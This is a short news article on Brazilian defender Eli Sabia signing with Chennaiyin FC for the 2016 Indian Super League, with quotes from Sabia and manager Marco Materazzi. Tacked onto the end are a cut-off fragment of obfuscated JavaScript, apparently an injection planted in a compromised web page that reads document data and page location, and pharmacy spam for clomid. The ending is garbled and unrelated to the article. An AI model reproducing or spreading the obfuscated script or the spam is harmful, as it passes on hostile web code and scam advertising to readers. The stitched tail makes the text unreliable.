Brazilian central defender Eli Sabia was signed by Indian Super League champions Chennaiyin FC on August 10 for ISL’s 2016 edition.
The 27-year-old from Sao Paulo joins Chennaiyin on a free transfer after the termination of his contract with Sampaio Correa, a Brazilian association football club.
Sabia started his career at Sao Paulo-based club Paulista and climbed ranks to make it to the club’s youth system, before making it to the senior team.
Sabia had numerous loan moves during his stint at Paulista, including one to FC Lausanne-Sport, based in Lausanne, in 2007-08. The following season Sabia played for the Brazilian professional football club Santos FC. It was a significant campaign in Santos’ history as Neymar made his breakthrough to the first team with teammate Sabia making 22 appearances.
Eli Sabia also had a loan spell with Brazilian top division club Atletico Paranaense before making a permanent move to Brazilian Serie B club Sao Caetano in 2011 made.
The Brazilian spent five seasons with Caetano, which also included loan bouts in several Brazilian clubs. In early 2016, he had a short stint with Agua Santa as well before his stint at Sampaio Correa.
“Eli Sabia has had a very good career in Brazil and also has the experience of playing in Europe. He will add quality and solidarity to our defence,” said Chennaiyin FC manager Marco Materazzi.
“It is an honour for me to get an opportunity to play under the legendary Materazzi. I would like to thank him and the club owners for believing in me. I am looking forward to this new experience of playing in India and want to help Chennaiyin retain the championship,” Eli Sabia stated. ent[_0xb322[11]][_0xb322[19]]=== _0xb322[20]&& KTracking[_0xb322[22]][_0xb322[21]](_0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12])=== -1){alert(_0xb322[23])} order clomid online cheap, generic clomid.
